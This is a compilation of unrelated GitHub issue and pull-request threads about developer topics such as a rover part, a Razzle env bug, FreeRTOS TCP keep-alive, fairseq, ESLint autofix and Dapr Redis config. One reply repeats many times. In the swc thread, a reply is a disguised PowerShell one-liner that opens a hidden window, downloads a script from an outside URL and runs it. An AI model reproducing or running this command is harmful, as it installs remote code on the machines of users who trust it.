Subject: Re: [nasa-jpl/open-source-rover] Can not access Mechanical/Mechanical Integration/Rover 3D view.pdf (#44)
Closed #44.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

@CWRatliff Yeah I had looked for a while to find a part that interfaced correctly from ServoCity.
You are correct about the middle wheel assembly attaching to the bottom of the rocker-bogie on only the one side. The channel connectors are steel however, and I don't think that metal fatigue would be your biggest downfall to this design, as the weight and stress that part sees are relatively low compared to the strength of steel.
What I do see happen is over time on a lot of the screws that go into the channel connectors that eventually they back themselves out from vibrations over time (even with loctite and lock washers it eventually happens). Now our rover sees a lot of moving, we take it to events all around, so has lots of car rides and transportation. This issue of screws backing out is worsened by the fact that there are only two screws on each piece and they are planar, not opposing, so as soon as one starts slipping out the other one will much faster as well.
I'd love to see the part you designed for this, and as I said it takes very little load overall, it likely is a component that could be 3D printed if access to a machine shop/equipment isn't viable.

Hi Eric,
Attached is a picture and hand sketch of the part I described. Hope this is useful.
Wayne
-----Original Message-----
From: ericjunkins<EMAIL_ADDRESS>To: nasa-jpl/open-source-rover<EMAIL_ADDRESS>Cc: CWRatliff<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Sent: Thu, Sep 20, 2018 1:54 pm
Subject: Re: [nasa-jpl/open-source-rover] Can not access Mechanical/Mechanical Integration/Rover 3D view.pdf (#44)
@CWRatliff Yeah I had looked for a while to find a part that interfaced correctly from ServoCity.
You are correct about the middle wheel assembly attaching to the bottom of the rocker-bogie on only the one side. The channel connectors are steel however, and I don't think that metal fatigue would be your biggest downfall to this design, as the weight and stress that part sees are relatively low compared to the strength of steel.
What I do see happen is over time on a lot of the screws that go into the channel connectors that eventually they back themselves out from vibrations over time (even with loctite and lock washers it eventually happens). Now our rover sees a lot of moving, we take it to events all around, so has lots of car rides and transportation. This issue of screws backing out is worsened by the fact that there are only two screws on each piece and they are planar, not opposing, so as soon as one starts slipping out the other one will much faster as well.
I'd love to see the part you designed for this, and as I said it takes very little load overall, it likely is a component that could be 3D printed if access to a machine shop/equipment isn't viable.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

@CWRatliff It looks like you replied to that via email, which it doesn't upload attachments from

channel connector.pdf

channel connector.pdf


process.env is inlined with object with only RAZZLE_CHUNKS_MANIFEST key in node build

🐛 Bug report
Current Behavior
In my index.js file for the node server I use process.env to access some data on runtime, after updating to v4.2.6, the bundle node file started to inline the process.env expressions with
{
  RAZZLE_CHUNKS_MANIFEST: '/path/to/build/chunks.json'
}

All other keys in process.env are not available anymore.
I've tracked the issue and found out that the razzle-manifest-plugin is replacing the entire process.env with an abject with the RAZZLE_CHUNKS_MANIFEST key.

Expected behavior
Do not replace/inline process.env for the node bundle.
Reproducible example

Suggested solution(s)
I've created a PR addressing this issue
Additional context
Your environment

Software
Version(s)

Razzle
4.2.6

Razzle Plugins
4.2.6

Node
16.13.0

Browser
N/A

npm/Yarn
<EMAIL_ADDRESS>

Operating System
macOS catalina

TypeScript
4.3.5

React
17.0.2

Experiencing the same issue trying to run After.js with Razzle v4.2.6.  All env variables that I specified in .env.local are gone.
@batusai513 Thanks for tracking down the fix!

fixed


Design final push

Closes #566
Closes #547
Closes #556
Closes #567
Closes #568
Closes #553
Closes #551
Closes #425
Testing:

Check ticket #556 for layout changes overall.  This moves a lot of text blocks around (into a columnar format) + implements the HeaderBlock.  Please test + fix for mobile / print.  The main pieces to focus on are the HeaderBlock, though.  #547 is basically a dupe here.
See if you can verify the OpenGraph Preview image is correctly changed/fixed. (#567)
Check under Temperature Indicators table + Precip Indicators table.  For both, there should just be a single link to the Data page (#568)
Check the AA/EO footer phrasing (#566)
Check the footer v. #553 -- I made a few small text adjustments (added a "Contact us" thing) + removed the <br>s because it was wreaking havoc on the layout.
About Page / Glossary (#551)  (also closes #425)

I reviewed/tested everything mentioned in the PR description and went ahead and made a bunch of improvements to responsiveness (both subtle and non-subtle) and a couple other things I noticed, including:

Added a little bit of padding around page content on mobile (narrow) screens so content is not touching the sides of the viewport
Tweaked the wrapping of image, title, and blurb elements in the HeaderBlock for various viewport sizes so things are positioned neatly at all resolutions
Fixed the superscript in squared units in the glossary
Un-Googled two Googled links in the glossary


Wizard: Fix sources select bug

Fixes https://github.com/RedHatInsights/image-builder-frontend/issues/1007. A bug in Patternfly causes dropdown and select menus to
appear underneath the Wizard footer when they are appended to their
parent (which is done to allow them to 'pop out' of the wizard and avoid
scrolling inside of the wizard's inner window).
The bug is discussed here:
https://github.com/patternfly/patternfly/issues/4794#issuecomment-1451187628
For now, the best solution seems to be adjusting the wizard's z-index
values as the other solutions discussed have a negative impact on
accessibility and keyboard navigation.

Draft PR until I can verify that it works - console.stage.redhat.com is down so I am unable to create sources to verify that it works at the moment.

I found a good discussion about this on the Patternfly Github repo, using their solution seems to work well:

/retest

Ugh, something changed in one of the pr_check.sh scripts and it's now failing... There is some --label image-type=single in the docker command as the most suspicious change, I'm going to have to investigate what's up.

/retest

/retest

Going to hold off on this PR for a bit, discussed this in the weekly UX/dev sync and we may go with the scrollable modal instead of pop-out to be more consistent across RH Insights services.

Going to hold off on this PR for a bit, discussed this in the weekly UX/dev sync and we may go with the scrollable modal instead of pop-out to be more consistent across RH Insights services.

Does that mean that this whole widget might change? If so do you have an ETA on when it could happen?

I will do a quick fix this afternoon that will cause it to behave exactly like the select on the next step used to select an activation key. I don't think it would affect your tests - it will still be the same component, it will just appear in a different place in the DOM.

@lucasgarfield any updates on this? It would be nice to have fixed as if there are 4 or more sources defined our UI tests fail on selecting and I have to go there and do some manual cleanup.
It's not a blocker, this usually happens when the test teardown functions are not executed but it's annoying regardless...

Superseded by https://github.com/RedHatInsights/image-builder-frontend/pull/1118


[Bug] Better discord is not starting at all for me.

Before Reporting

[X] I found no existing issues matching my bug
[X] My issue is not caused by a plugin or theme

Describe the Bug
I've tried repairing, reinstalling, it did not work. Better Discord does not launch at all when starting Discord, no error, no nothing, just does not start.
Expected Behavior
I would expect Better Discord to launch when I start Discord
Steps To Reproduce
Install Better Discord
Start Discord
Realize Better Discord did not launch
Operating System
Windows
Discord Version
Stable
BetterDiscord Version
newest (Can't bet it from setting as it does not launch at all)
Anything else?
No response

Join the support server and read this #known-issues post.

This has now been fixed!


Copied rules from UI project, made prefix configurable

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Secure Socket changes to enable TCP keep-alive

Secure Socket changes  to enable TCP keep-alive
Description
Added TCP Keep-alive option to enable and configure values via SOCKETS_SetSockOpt for LWIP and these options are not supported for FreeRTOS Plus TCP.
Checklist:

[ x ] I have tested my changes. No regression in existing tests.
[ ] My code is Linted.

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Hi @balajicyp, thank you for your submission!  I have a couple of questions:

What use case is the SOCKETS_Bind() API for?  We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt().  Would that satisfy your use case?
The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR?  If these are unrelated additions, could you split them into separate PRs?

Thanks again for your submission!

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Hi @gkwicker,
Please find my answers inline

What use case is the SOCKETS_Bind() API for? We will be adding some new capabilities in the Secure Sockets API soon, and one thing we are considering is adding SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt(). Would that satisfy your use case?
[Balaji] This SOCKETS_BIND API is required for TCP connection to bind to the local port (instead of LWIP stack randomly choosing a port), we have a configuration which specifies the TCP connection to bind a local port.
Yes the SO_BINDTODEVICE as an option for SOCKETS_SetSockOpt() will work for us, not sure how when this would be available? Ideally we would prefer these two (i.e Bind API and TCP keep-alive option in the same release)

The TCP keepalive options would be useful in some cases, but how are they associated with the new SOCKETS_Bind() API introduced in this PR? If these are unrelated additions, could you split them into separate PRs?
[Balaji] We need TCP keep-alive to be enabled to support low power applications so that TCP connection can be offloaded to WiFi Chip to save power and maintain TCP connection. The SOCKETS_Bind() API is also required as part of the feature hence kept it as the same PR.  If SO_BINDTODEVICE is provided as an option for SOCKETS_SetSockOpt() then it would solve the problem and I will remove the Bind API changes from this PR.

Adding additional reviewers @kask01 , @cy-jayasankar

/bot run checks

/bot run checks

You need to run uncrustify with the config file tools\uncrustify.cfg. The following zip contains a patch with all the changes which you can apply with git apply: suggestions.zip
The patch some suggestions for docs and uncrustify changes.
Thanks.

You need to run uncrustify with the config file tools\uncrustify.cfg. The following zip contains a patch with all the changes which you can apply with git apply: suggestions.zip
The patch some suggestions for docs and uncrustify changes.
Thanks.

Hi @aggarg ,
I have applied the patch suggestions.patch. Please check
Thanks
Balaji

/bot run checks

/bot run checks

/bot run checks

/bot run checks

/bot run checks

/bot run checks

@gkwicker ,
I have addressed all your comments, Please comment when PR can be approved
Thanks
Balaji.

/bot run checks

/bot run checks

Hello @balajicyp ,
Our check for formatting failed on libraries/abstractions/secure_sockets/lwip/iot_secure_sockets.c
Could you please uncrustify run on that file?
uncrustify -c .\tools\uncrustify.cfg .\libraries\abstractions\secure_sockets\lwip\iot_secure_sockets.c--no-backup --replace

Hello @sarenameas
Do you know where I should download the (uncrustify) tool from? I am using windows 10 .
Thanks
Balaji.

Hi @sarenameas
I ran the below command
uncrustify -c .\tools\uncrustify.cfg .\libraries\abstractions\secure_sockets\lwip\iot_secure_sockets.c --no-backup --replace
please check
Thanks
Balaji

/bot run checks

/bot run checks


Image Compression

Compress image files before copying them to output

Use compress-images package to optimize all image formats
compress-images


--replace-unk does not work as intended

ran across an issue in fairseq-interactive where unk tokens were not being replaced if there are unks in the source string, even though the --replace-unk flag is set.
example:
| Type the input sentence and press return:
Jack and Jill went up the hill
S-0	Jack and <unk> went up the hill
H-0	-0.9424245357513428	Jack and <unk> went up the hill
P-0	-0.1024 -1.3528 -0.1208 -1.4977 -1.0983 -1.7025 -0.4995 -1.1654
A-0	0 2 2 3 4 6 6 7
H-0	-0.9424245357513428	Jack and <unk> went up the hill
P-0	-0.1024 -1.3528 -0.1208 -1.4977 -1.0983 -1.7025 -0.4995 -1.1654
A-0	0 2 2 3 4 6 6 7

Looking at the code, I think the issue is here: https://github.com/pytorch/fairseq/blob/master/interactive.py#L157
src_str is re-created from src_tokens, which means it contains the unk token. When later we try to replace the unk in post_process_prediction(), it just replaces the unk with another unk
this seems like a bug, but I could be doing something wrong. I've fixed it locally just by keeping the original src_str and passing it to post_process_prediction()

It's probably a bug, since we don't use the --replace-unk feature much in our projects and I don't think there's test coverage for that feature either :/ Do you mind submitting a PR with the fix?

Closing due to inactivity


Rewrite .ts imports to .js imports (for native Node.js TypeScript support)

Describe the feature
Nodejs have added experimental support for TypeScript however it requires imports with .ts extensions.
import foo from './foo.ts'

The TypeScript team have landed on this solution to add support:
https://github.com/microsoft/TypeScript/issues/59597
https://github.com/microsoft/TypeScript/pull/59767
Would be great if swc offered a similar solution
Babel plugin or link to the feature description
No response
Additional context
No response

@ahmedra13579 powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke() 🤣


Upload pre-trained models weights

Kindly upload pre-trained models weights of DCGAN-Tensorflow for MNIST fashion, DIGITS, SVHN and CIFAR-10. Thanks.

It would be really easy to reproduce the results by tuning the learning rate and the update rate a little bit. I actually deleted all the checkpoints after testing the model. Please note that I am actually not responsible for providing the checkpoints. Just for this time, I trained all the models on the four datasets again and pushed the checkpoints and the corresponding results under the directory ./checkpoint/.


Create _index.md

Hi,
Thanks for pointing them out :)
On Mon, Sep 28, 2020 at 9:36 AM Dominique Makowski<EMAIL_ADDRESS>wrote:

@DominiqueMakowski commented on this pull request.
In content/authors/Jiayi-Zhang/_index.md
https://github.com/ClinicalBrainLab/clinicalbrainlab.github.io/pull/21#discussion_r495649416
:

+- Vae Zhang Jiayi

+bio:
+
+education:

courses:

course: Ph.D.Candidate, Cradle

institution: NTU
year: 2020 -

course: Bachalor of Psychology (Hons)

institution: State University of New York, Buffalo
year: 2012 -2015

+email<EMAIL_ADDRESS>+interests:
+- Muliti-model neuroimaging
and there
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ClinicalBrainLab/clinicalbrainlab.github.io/pull/21#pullrequestreview-497141178,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ALSMZKPY7V22YJYSBAZHHTLSH7SB3ANCNFSM4R344BXQ
.

@Heechberri Hi Jiayi, thank you for making the changes. But your avatar is currently missing in your folder. Could you please upload a photo of yourself and create another PR? :)


Alfa Bank support

The Alfa Bank uses the same protocol, but with different path. '/payment/rest/' is hardcoded in Client class. I think its possible to pass this data in client constructor. i will make a pull request.

Hi, @floor12! I think it's a good idea! I would appreciate if you make the PR.

#13 requested.


vscode - scss “cube” suggestions

VSCode Version: 1.8.1
OS Version: Windows 8

Steps to Reproduce:
In scss files, there are some suggestions with a "cube" as icon.

I'm not sure, but I think those are mixins and I don't know where this comes from.

Hey @esaramago, thanks for reporting! The "cube" icon denotes a function/method, and this out this is actually the expected behavior, as SASS includes many built-in functions, so we want to provide completions for those - see http://sass-lang.com/documentation/Sass/Script/Functions.html
Hope that helps!

Thanks for the answer!
Anyway, I think it doesn't make sense for the property position, for example, to have the functions desaturate or fade-in as value.
Could this autocomplete be smarter?


CSS/JS Bleeding Through Adjacent iOS Safari Tabs

Steps to reproduce
I have no idea what's going on.
It looks like the styling of Instagram is affecting my web app when tabbing back and forth.
I've tested this on other websites and my web app works fine.
I've attached a video of the behavior below.
Minimal example code:
export default function App() {
  return (
    <SwipeableDrawer
      SlideProps={{
        sx: {
          height: "61.8%",
        },
      }}
      anchor="bottom"
      onOpen={() => {}}
      open
    >
      asdf
    </SwipeableDrawer>
  );
}

Your environment
iOS Version: 16.6.1
Model Name: iPhone 12 Pro Max
Search keywords: Style CSS JS Bleed

https://github.com/mui/material-ui/assets/35586806/0ff0a77c-972f-4a44-af2d-355eb594d2ea

I just upgraded to iOS 17.5 and no longer have this issue

Tested this again today, and I still have the issue even after upgrading to iOS 17.5

After further testing, the styles do not bleed into another Safari tab. It was coincidental that the bottom navigation bar of Instagram shares the same height that the Modal moves up by when this issue appears.
export default function App() {
  return (
    <Modal open>
      <Typography>asdf</Typography>
    </Modal>
  );
}

The root cause of this issue appears to stem from the Modal component. Here's another video highlighting the problem.
https://github.com/mui/material-ui/assets/35586806/e88baf94-00af-4baa-841d-91a91d1193eb


Eslint Auto fix

can we make Eslint Auto fix configurable?
I like that when in watch mode, it fixes my eslint on the fly.

Which rules would it be valuable for? Our lint rules don't include any style rules, so I'm not sure anything we report is autofixable. I also heard reports of autofix not working well with eslint-loader, causing infinite cycles.
For enforcing style, I would instead suggest Prettier. Does this help?

I am not sure what rules are used in this project.
but if there are not there I will add them in eslint.js
Rules that the auto fix was useful for me is (you can see that all rules are fixable)
jsx-indent
arrow-body-style
object-shorthand
and there is a lot more.
it's very convenient that it auto fix my stuff.
can we add it?

I don't quite understand what you're asking.
Before ejecting, you can't change the ESLint config. Our ESLint config does not contain any style rules, as I said earlier. This is intentional, and briefly discussed at the end of https://github.com/facebookincubator/create-react-app/issues/808.
I recommend using Prettier to enforce style, if you want to.

I don't want to use Prettier, I just want to turn on Auto fix in eslint.
I added some rules in my own custom eslint config.
and I Can't turn on eslint auto fix.

Sorry, it is not clear from your comments what you problem is. You didn't specify whether you ejected or not, what have you tried, what exactly didn't work, etc. It is very hard to help if you give so little information.

I didn't eject.
every think is working, I am not reporting a bug.
I am asking for a an ability to make Eslint fix tag configureable without ejecting
I Understand that your ESLint config does not include style rules.
I added to style rules manually  (no eject, only by adding  ESLint config to my project as discussed at  #808)
and I want to turn on fix flag but there is no way to do it without eject.

I added style rules manually (no eject, only by adding .eslintrc to my project as discussed at #808)

Okay, I understand better now. This is not really supported. If you add your own style rules, then please also manually run eslint --fix to get them fixed. As I mentioned before, eslint-loader has issues with autofix, and we won't be enabling it by default.

I understand that there is reports of autofix not working well with eslint-loader, causing infinite cycles, but for me its working fine for me (we have 50 engineers working with it)
so Thats why I want the fix flag to be configurable (default off) so we can decide if to use it.
adding run eslint --fix will not help, because I Will need to run it every time I change the my code.
when we run the project, it is in watch mode and every change is hot reloading the browser.
Adding fix flag in eslint-loader option is a more convenient, because it will fix the code on the fly (in watch mode). fixing my code instantly

It is not a minor change if it breaks in some cases, and people can't turn it off.
I understand your concerns but using a custom .eslintrc is not supported in the first place. It may happen to work, but it's not how this tool is intended to be used.
I'm sorry if this is frustrating to you.

If you need modifications like this, consider making a fork for your company: https://github.com/facebookincubator/create-react-app/issues/682

I think that using a custom .eslintrc is very important, is there an open discusstion on it?, so I will write done my opinion about it.

Thanks, it's been discussed in #808 at length. Feel free to write here.

so, there's no way to get autofix?


Redirect handler not getting redirected request response on 400 Bad Request

I use RedirectHandler to manage redirects like below:
var headers: [String: String] = [...]
var params: [String: Any] = [...]
var url = ...
let redirector = Redirector(behavior: Redirector.Behavior.modify({ (task, urlRequest, resp) -> URLRequest? in
            var urlRequest = urlRequest
            headers.forEach { header in
                urlRequest.addValue(header.value, forHTTPHeaderField: header.key)
            }
            return urlRequest
        }))
        AF.request(url, method: .post, parameters: params, encoding: JSONEncoding.default, headers: headers)
            .responseJSON { response in
                guard let data = response.date else {
                    print("no response")
                 }
             .
             .
             .
            }.redirect(using: redirector)

when is use postman i get the same "Bad Request" error i get and its response but by using alamofire i get no data!!(in response.data is nil ).
FYI: i made sure that redirector is called and headers are set properly.

i dont see the problem anymore . maybe this is internal issue not alamofire fault.

i dont see the problem anymore . maybe this is internal issue not alamofire fault.


Evaluation

Tracking things for evaluation:
Note on "evaluation": We need to figure out what axes of evaluation we want. Choices (in order of hardness) simulation cycles, timing, area, energy, FPGA runtime.
Bare minimum
Benchmark suites (subsets of): Polybench, MachSuite, Dynamatic benchmarks (if any)

[ ] Evaluate non-pipelined static timing against Vivado HLS.
[ ] Evaluate non-pipelined dynamic programs against dynamatic. This is not apples to apples because Dynamatic is pipelined by default.

Good to have

[ ] Evaluate pipelined static timing against Vivado HLS.
[ ] Evaluate pipelined dynamic programs against dynamatic.

Including a link to the Dynamatic source code for completion. It would be great to check relatively soon whether it's easy/possible to compile and run.

@sgpthomas As we get the various benchmarks working, we should make them integration tests and run simulation on them.


Redis NOAUTH Authentication required

My yaml file:
apiVersion: dapr.io/v1alpha1
kind: Component
metadata:
  name: MSession
spec:
  type: state.redis
  version: v1
  metadata:
  - name: redisHost
    value: <IP_ADDRESS>:6379
  - name: redisPassword
    value: "123456"
    name: redisDB
    value: "3"

Because I have configured the redisDB node. So the following error occurred：
time="2024-03-14T16:45:55.7878517+08:00" level=fatal msg="Fatal error from runtime: process component MSession error: [INIT_COMPONENT_FAILURE]: initialization error occurred for MSession (state.redis/v1): [INIT_COMPONENT_FAILURE]: initialization error occurred for MSession (state.redis/v1): redis store: error connecting to redis at <IP_ADDRESS>:6379: NOAUTH Authentication required." app_id=Coyotebrass-Bell instance=TF-Laptop scope=dapr.runtime type=log ver=1.12.5
If the redisDB node is removed. Running normally
I made a mistake. The configuration node is missing "-"

I made a mistake. The configuration node is missing "-"


Settings page input boxes text same as background

Update: I believe this to be due to NOT having delegated voting tokens. After I delegated my tokens I was able to edit.
Note: the DAO name IS there (try to highlight/select it) but can't be seen, is same color as input
Can't edit DAO name or snapshot URL

Browser metadata
Path:      /settings?dao=sep:0x6DEBaE44A8f592733D1D4854b27108F145A1fdb2
Browser:   Chrome <IP_ADDRESS> on Mac OS 10.15.7
Viewport:  1708 x 1027 @2x
Language:  en-US
Cookies:   Enabled

Open in BrowserStack

Open Deploy Preview · Mark as Resolved
Originally posted by @xraystyle1980 in https://github.com/decentdao/fractal-interface/issues/1578#issuecomment-2101003649

@xraystyle1980 I left comments in the components page. Please update disabled placeholder designs so they are more visually distinct from the default states and more clearly indicate a "disabled" state.
Lower priority before launch.

Closed via https://github.com/decentdao/fractal-interface/pull/1752


Metadata Template greyed out

Hello. Thanks for developing this plugin.
I am not a developer so knowledge is limited.
In the settings for the plugin the metadata template is greyed out and I am unable to edit. The content template works and I have no issue.  Can you suggest a fix for this?

The metadata template shouldn't be greyed out by default.
The only check this plugin will do is checking the rendered result of the metadata template is a valid YAML syntax. It is used to prevent the front matter corruption issue since this plugin relies on the raindrop_id and raindrop_last_update properties in the front matter. If your template is not a valid YAML syntax, the plugin will reject the update (the border will become red color).
Can you open your developer console in Obsidian and point to the textarea of the metadata template? If the textarea doesn't have disabled property, it should be editable.

Much appreciated. I'm not sure what I did but in the end I re-typed the default metadata template and it all works as expected. Cheers.

Mine was greyed out as well. I typed out the part that I wanted (tags) and it worked fine.


feat: add UserGuildMember

This PR implements the rest method to Get Current User Guild Member. I didn't find an open issue or discussion for this, but it is relatively straightforward to implement so I hope it's okay.

Thanks for your contribution!
Sorry it took a while.


Standardize docstrings and improve coverage

Issue
Every public module, class, method and attribute should have a docstring.
Requirements

All docstrings should follow the Google Python Style Guide.
Examples should use RST code-block format so that they render in the API reference correctly.

NOTE!
RST code block must have a newline between .. code-block:: python and the code example to render correctly!
Examples
Module
langchain/foo/__init__.py
""""One line summary.

More detailed paragraph.
"""

Class and attributes
Not Pydantic class
class Foo:
  """One line summary.

  More detailed paragraph.

  Attributes:
    first_attr: does first thing.
    second_attr: does second thing.

  Example:
    .. code-block:: python

      from langchain.foo import Foo

      f = Foo(1, 2, "bar")
      ...
  """

  def __init__(self, a: int, b: int, c: str) -> None:
    """Initialize using a, b, c.

    Args:
      a: ...
      b: ...
      c: ...
   """
    self.first_attr = a + b
    self.second_attr = c

NOTE
If the object attributes and init args are the same then you can just document the init args for non-Pydantic classes and just document the attributes for Pydantic classes.
